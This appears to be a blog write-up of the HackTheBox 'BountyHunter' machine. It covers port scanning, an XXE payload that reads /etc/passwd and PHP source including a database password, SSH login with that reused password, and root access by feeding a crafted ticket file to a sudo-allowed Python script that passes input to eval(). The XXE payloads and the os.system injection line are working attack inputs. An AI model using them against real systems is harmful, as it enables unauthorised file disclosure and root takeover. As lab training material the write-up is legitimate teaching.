HackTheBox - Bounty Hunter
Description
Hello hackers, I hope you are doing well. We are doing BountyHunter from HackTheBox.
Enumeration
nmap
We start a nmap scan using the following command: sudo nmap -sC -sV -T4 {target_IP}
.
-sC: run all the default scripts.
-sV: Find the version of services running on the target.
-T4: Aggressive scan to provide faster results.
1
2
3
4
5
6
7
8
9
10
11
12
13
Nmap scan report for 10.10.11.100
Host is up (0.28s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
| 256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_ 256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Bounty Hunters
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We found two open ports, port 22 running OpenSSH and port 80 is an Apache http web server.
Web
Let’s navigate to the web page.
Tis is the index page of a bug bounty team, let’s check the portal page.
click the link to go to bounty tracker.
Here we got a bug bounty form, let’s fill it.
When we hit hit submit, it shows what would have been added to the DB if it were ready.
Burp
Let’s intercept intercept this post request using burp suite
.
The data looks to be encoded, to get the clear text data we need to decode as url then as base64.
We got XML, let’s check if it is vulnerable to XML External Entities attack by adding the following payload the XML
1
<!DOCTYPE root [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
1
2
3
4
5
6
7
8
data=<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
<bugreport>
<title>&xxe;</title>
<cwe>124</cwe>
<cvss>9</cvss>
<reward>423124</reward>
</bugreport>
Using burp repeater let’s send our malicious xml data.
Before we send it we need to re-encode it to base64 then as url.
Great! We confirmed the XXE vulnerability.
Foothold
Now we use a slightly different payload than before which is:
1
<!DOCTYPE root [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php" >]>
This allows us to view php code without it being executed by the web server.
I checked index.php
, portal.php
and the log_submit.php
files but didn’t find anything useful.
Gobuster
Let’s scan for php files using gobuster.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.11.100 -x php
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.100
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2023/01/23 07:34:27 Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 277]
/.htpasswd (Status: 403) [Size: 277]
/.htaccess.php (Status: 403) [Size: 277]
/.htpasswd.php (Status: 403) [Size: 277]
/.hta (Status: 403) [Size: 277]
/.hta.php (Status: 403) [Size: 277]
/assets (Status: 301) [Size: 313] [--> http://10.10.11.100/assets/]
/css (Status: 301) [Size: 310] [--> http://10.10.11.100/css/]
/db.php (Status: 200) [Size: 0]
/index.php (Status: 200) [Size: 25169]
/index.php (Status: 200) [Size: 25169]
/js (Status: 301) [Size: 309] [--> http://10.10.11.100/js/]
/portal.php (Status: 200) [Size: 125]
/resources (Status: 301) [Size: 316] [--> http://10.10.11.100/resources/]
/server-status (Status: 403) [Size: 277]
===============================================================
db.php
, that must be the file we’re looking for, let’s retrieve it.
Encode the data and send.
We managed to find the database password.
With that password, let’s ssh to the machine as the user we found in /etc/passwd.
Privilege Escalation
Let’s check our current privileges.
1
2
3
4
5
6
development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User development may run the following commands on bountyhunter:
(root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
There is a python script at /opt/skytrain_inc
that we can run as root, let’s check it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.
def load_file(loc):
if loc.endswith(".md"):
return open(loc, 'r')
else:
print("Wrong file type.")
exit()
def evaluate(ticketFile): [7/143]
#Evaluates a ticket to check for ireggularities.
code_line = None
for i,x in enumerate(ticketFile.readlines()):
if i == 0:
if not x.startswith("# Skytrain Inc"):
return False
continue
if i == 1:
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continue
if x.startswith("__Ticket Code:__"):
code_line = i+1
continue
if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
else:
return False
return False
def main():
fileName = input("Please enter the path to the ticket file.\n")
ticket = load_file(fileName)
#DEBUG print(ticket)
result = evaluate(ticket)
if (result):
print("Valid ticket.")
else:
print("Invalid ticket.")
ticket.close
main()
When we run the script, we get prompt for the path to a ticket file.
The script to work, the ticket file must end with .md
(markdown file).
1
2
if loc.endswith(".md"):
return open(loc, 'r')
Then it open the file and read its lines, the first line must be # Skytrain Inc
.
1
2
if not x.startswith("# Skytrain Inc"):
return False
The second line must start with ## Ticket To
1
if not x.startswith("## Ticket to "):
The third line must start with __Ticket Code:__
The fourth must start with **
The text after the **
to the first +
has to be an integer that when divided by 7 the remainder must be 4.
If all those conditions are true, the fourth line is passed to eval
.
There is a directory called invalid_tickets has some example of the ticked format.
1
2
3
4
5
6
7
development@bountyhunter:/opt/skytrain_inc$ cat invalid_tickets/390681613.md
# Skytrain Inc
## Ticket to New Haven
__Ticket Code:__
**31+410+86**
##Issued: 2021/04/06
#End Ticket
Now we need a way to exploit this script.
We know we can pass it any ticked we want as long as it follows the correct format.
The only text we can manipulate is the one in the fourth line that comes after the first +
and gets passed to the eval
function.
I searched on google for python eval exploit
and found this article that showcases code injection in this function.
The payload to this command injection exploit is the following.
1
__import__('os').system('/bin/bash')
We’re gonna put this payload right after the first +
in the 4th line.
But for this to work, we need a number that when divided by 7 results in the remainder 4. That’s an easy one.
I created a simple python script that does that.
1
2
3
for i in range(100,200):
if i % 7 == 4:
print("found it", i)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
└──╼ $ python script.py
found it 102
found it 109
found it 116
found it 123
found it 130
found it 137
found it 144
found it 151
found it 158
found it 165
found it 172
found it 179
found it 186
found it 193
Choose any number and put it between **
and +
.
The final ticked should look like this.
1
2
3
4
5
6
# Skytrain Inc
## Ticket to import os; os.system("/bin/bash")
__Ticket Code:__
**144+__import__('os').system('/bin/bash')**
##Issued: 2021/04/06
#End Ticket
Now let’s execute the python script and feed it out malicious ticket
1
2
3
4
5
6
7
development@bountyhunter:~$ sudo python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/home/development/hack.md
Destination: New Heaven
root@bountyhunter:/home/development# id
uid=0(root) gid=0(root) groups=0(root)
root@bountyhunter:/home/development#
Thank you for taking the time to read my write-up, I hope you have learned something from this. If you have any questions or comments, please feel free to reach out to me. See you in the next hack :).
References
https://medium.com/swlh/hacking-python-applications-5d4cd541b3f1